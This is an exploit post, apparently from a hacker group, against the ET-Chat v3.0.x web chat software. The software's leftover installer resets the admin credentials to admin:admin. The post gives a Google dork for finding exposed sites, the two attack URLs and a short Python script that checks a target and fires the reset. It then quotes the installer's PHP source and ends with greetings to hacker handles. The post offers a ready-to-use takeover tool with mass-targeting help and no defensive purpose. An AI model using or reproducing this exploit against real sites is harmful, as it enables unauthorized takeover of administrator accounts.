`************************************************** IIIIIIII RRRRRRRRRRRR HHHHHHHH HHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRRRRRRRR HHHHHHHHHHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIIIIIII RRRRRRRR RRRRRR HHHHHHHH HHHHHHHH *************************************************** # Exploit Title: Et-chat Admin Reset Password v3.0.7 # Google Dork: inurl:/?InstallIndex or intext:Willkommen bei der Installation von ET-Chat v3 or intext:Installation starten >>> # Date: 2012-found , 2014-public # Exploit Author: IRH # Tested on: 7,8 # version : v3.0.x # Software Link: http://www.sedesign.de/de_produkte_chat-v3.html # Screen shot: http://cld.persiangig.com/preview/jBfFoVmTl5/install_reset_password.png *************************************************** Exploit : site.com/chat/?InstallIndex site.com/chat/?InstallMake info : if chatroom have a installation folder open this link for reset user and password to admin:admin *************************************************** Python exploit : #!/usr/bin/env python __author__ = 'IRH' print "Example: et-chat.py http://et-chat.com/chat" import urllib import sys url = sys.argv[1] url1 = url+"/?InstallIndex" url2 = url+"/?InstallMake" checkurl = urllib.urlopen(url1) if checkurl.code == 200 : urllib.urlopen(url2) print "Password Was Reseted!! Enjoy ;)" else: print "Site is not Vulnerability" *************************************************** FEHLER!!!

PHP Version = ".phpversion()." (sollte jedoch >= 5.1.2 sein!)"; else // redirect header('Location: ../?InstallIndex'); ********* public function __construct (){ // call parent Constructor from class EtChatConfig parent::__construct(); $install_error = ""; if ($this->_usedDatabaseExtension=="pdo"){ if (!extension_loaded('pdo')) $install_error .= "

Keine PDO-Erweiterung gefunden.(PDO-Erweiterung sollte installiert sein!)

"; if (!extension_loaded('pdo_'.$this->_usedDatabase)) $install_error .= "

Keine pdo_".$this->_usedDatabase."-Erweiterung gefunden.(pdo_".$this->_usedDatabase." sollte installiert sein!)

"; } if ($this->_usedDatabaseExtension=="mysqli") if (!extension_loaded('mysqli')) $install_error .= "

Keine MySQLi-Erweiterung gefunden.(MySQLi sollte installiert sein!)

"; if (empty($install_error)) $start_install = "Installation starten >>>"; else $start_install = "Die Installation kann nicht durchgeführt werden.

Ursache/n:
".$install_error."

Bitte korrigieren Sie die Einstellungen Ihres Webservers um den ET-Chat zu installieren."; if (file_exists("./install")) include_once("styles/install_tpl/index.tpl.html"); else echo "Install directory was not found."; } } ********* TnX To : MojiRider , V30sharp , Black.viper , Zer0killer , SecretWalker , FarBodEzrail , Amirio , AL1R3Z4, 3is@ , Mr.a!i , Mr.3ler0n , Irblackhat , inj3ct0r , 3inst3in , Remot3r , Scoot3r , Black_king , IRH Member ./IRaNHaCK.org `

Query Builder